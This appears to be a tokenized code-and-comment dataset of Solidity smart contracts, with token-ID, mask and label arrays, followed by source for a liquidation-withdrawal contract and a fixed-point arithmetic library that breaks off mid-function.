1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
490,
7340,
758,
4819,
353,
1505,
4819,
16,
1948,
9974,
429,
16,
12279,
429,
16,
13134,
288,
203,
203,
565,
1758,
312,
67,
19177,
31,
203,
565,
2254,
10392,
312,
67,
12296,
31,
203,
565,
385,
641,
369,
2779,
966,
8526,
312,
67,
71,
641,
369,
19657,
31,
203,
565,
5947,
8526,
312,
67,
20376,
31,
203,
203,
565,
1426,
312,
67,
70,
8386,
31,
203,
565,
2254,
10392,
312,
67,
1917,
87,
31,
203,
565,
1758,
312,
67,
10488,
31,
203,
565,
399,
3489,
4020,
312,
67,
7648,
31,
203,
565,
1731,
312,
67,
3950,
31,
203,
203,
565,
2254,
1105,
312,
67,
350,
31,
203,
565,
2254,
1578,
312,
67,
9620,
548,
31,
203,
565,
2254,
1578,
312,
67,
17143,
548,
31,
203,
203,
203,
565,
445,
21481,
12,
3890,
4126,
13,
1071,
288,
203,
3639,
2583,
12,
3576,
18,
23428,
1435,
422,
268,
3489,
18,
23428,
9334,
2130,
1769,
203,
3639,
268,
3489,
18,
9436,
5621,
203,
3639,
312,
67,
3950,
273,
4126,
31,
203,
565,
289,
203,
203,
203,
565,
445,
787,
1435,
1071,
3849,
288,
203,
3639,
389,
1937,
5621,
203,
565,
289,
203,
203,
565,
445,
389,
1937,
1435,
3238,
288,
203,
3639,
5267,
1210,
18,
588,
12,
88,
3489,
18,
915,
548,
12,
1937,
4081,
3631,
315,
2888,
1354,
9230,
741,
1846,
2545,
358,
1440,
598,
7225,
1769,
203,
565,
289,
203,
203,
565,
445,
336,
758,
4819,
966,
1435,
1071,
445,
734,
12,
20,
92,
1639,
38,
13,
3849,
1476,
1135,
12,
203,
3639,
533,
2
]
|
./partial_match/82/0x2C5c7b3C809E498CF43306da5e4dfe8cfA9Ec1C6/sources/project_/contracts/PvpArena.sol | @dev attempts to find an opponent for a character | function findOpponent(uint256 characterID)
external
isOwnedCharacter(characterID)
characterInArena(characterID)
characterNotUnderAttack(characterID)
characterNotInDuel(characterID)
{
require(matchByFinder[characterID].createdAt == 0, "AM");
uint8 tier = getArenaTier(characterID);
_assignOpponent(characterID, tier);
}
| 16,900,712 | [
1,
14359,
358,
1104,
392,
1061,
1029,
364,
279,
3351,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1104,
3817,
1029,
12,
11890,
5034,
3351,
734,
13,
203,
3639,
3903,
203,
3639,
353,
5460,
329,
7069,
12,
11560,
734,
13,
203,
3639,
3351,
382,
37,
1187,
69,
12,
11560,
734,
13,
203,
3639,
3351,
1248,
14655,
3075,
484,
12,
11560,
734,
13,
203,
3639,
3351,
21855,
40,
20317,
12,
11560,
734,
13,
203,
565,
288,
203,
3639,
2583,
12,
1916,
858,
8441,
63,
11560,
734,
8009,
4824,
861,
422,
374,
16,
315,
2192,
8863,
203,
203,
3639,
2254,
28,
17742,
273,
4506,
1187,
69,
15671,
12,
11560,
734,
1769,
203,
203,
3639,
389,
6145,
3817,
1029,
12,
11560,
734,
16,
17742,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/42/0x0C7e9B502Ce3239c6A5dcaF9392D9bE9215d9AdC/sources/ChainLog.sol | Key exists in keys (update)
| location[_key].addr = _addr; | 3,357,797 | [
1,
653,
1704,
316,
1311,
261,
2725,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5411,
2117,
63,
67,
856,
8009,
4793,
273,
389,
4793,
31,
565,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
// Simple contract used to withdraw liquidations using a DSProxy from legacy contracts (1.2.2 and below).
contract LiquidationWithdrawer {
function withdrawLiquidation(
address financialContractAddress,
uint256 liquidationId,
address sponsor
) public returns (FixedPoint.Unsigned memory) {
return IFinancialContract(financialContractAddress).withdrawLiquidation(liquidationId, sponsor);
}
}
interface IFinancialContract {
function withdrawLiquidation(uint256 liquidationId, address sponsor)
external
returns (FixedPoint.Unsigned memory amountWithdrawn);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/SignedSafeMath.sol";
/**
* @title Library for fixed point arithmetic on uints
*/
library FixedPoint {
using SafeMath for uint256;
using SignedSafeMath for int256;
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For unsigned values:
// This can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77.
uint256 private constant FP_SCALING_FACTOR = 10**18;
// --------------------------------------- UNSIGNED -----------------------------------------------------------------------------
struct Unsigned {
uint256 rawValue;
}
/**
* @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a uint to convert into a FixedPoint.
* @return the converted FixedPoint.
*/
function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) {
return Unsigned(a.mul(FP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the minimum of `a` and `b`.
*/
function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the maximum of `a` and `b`.
*/
function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return add(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return sub(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow.
* @param a a uint256.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return sub(fromUnscaledUint(a), b);
}
/**
* @notice Multiplies two `Unsigned`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as a uint256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because FP_SCALING_FACTOR != 0.
return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a uint256.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 mulRaw = a.rawValue.mul(b.rawValue);
uint256 mulFloor = mulRaw / FP_SCALING_FACTOR;
uint256 mod = mulRaw.mod(FP_SCALING_FACTOR);
if (mod != 0) {
return Unsigned(mulFloor.add(1));
} else {
return Unsigned(mulFloor);
}
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as a uint256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a uint256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return div(fromUnscaledUint(a), b);
}
/**
* @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR);
uint256 divFloor = aScaled.div(b.rawValue);
uint256 mod = aScaled.mod(b.rawValue);
if (mod != 0) {
return Unsigned(divFloor.add(1));
} else {
return Unsigned(divFloor);
}
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))"
// similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned.
// This creates the possibility of overflow if b is very large.
return divCeil(a, fromUnscaledUint(b));
}
/**
* @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return output is `a` to the power of `b`.
*/
function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) {
output = fromUnscaledUint(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
// ------------------------------------------------- SIGNED -------------------------------------------------------------
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For signed values:
// This can represent a value up (or down) to +-(2^255 - 1)/10^18 = ~10^58. 10^58 will be stored internally as int256 10^76.
int256 private constant SFP_SCALING_FACTOR = 10**18;
struct Signed {
int256 rawValue;
}
function fromSigned(Signed memory a) internal pure returns (Unsigned memory) {
require(a.rawValue >= 0, "Negative value provided");
return Unsigned(uint256(a.rawValue));
}
function fromUnsigned(Unsigned memory a) internal pure returns (Signed memory) {
require(a.rawValue <= uint256(type(int256).max), "Unsigned too large");
return Signed(int256(a.rawValue));
}
/**
* @notice Constructs a `Signed` from an unscaled int, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a int to convert into a FixedPoint.Signed.
* @return the converted FixedPoint.Signed.
*/
function fromUnscaledInt(int256 a) internal pure returns (Signed memory) {
return Signed(a.mul(SFP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a int256.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the minimum of `a` and `b`.
*/
function min(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the maximum of `a` and `b`.
*/
function max(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Signed` to an unscaled int, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, int256 b) internal pure returns (Signed memory) {
return add(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled int256 from an `Signed`, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, int256 b) internal pure returns (Signed memory) {
return sub(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts an `Signed` from an unscaled int256, reverting on overflow.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(int256 a, Signed memory b) internal pure returns (Signed memory) {
return sub(fromUnscaledInt(a), b);
}
/**
* @notice Multiplies two `Signed`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as an int256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because SFP_SCALING_FACTOR != 0.
return Signed(a.rawValue.mul(b.rawValue) / SFP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Signed` and an unscaled int256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, int256 b) internal pure returns (Signed memory) {
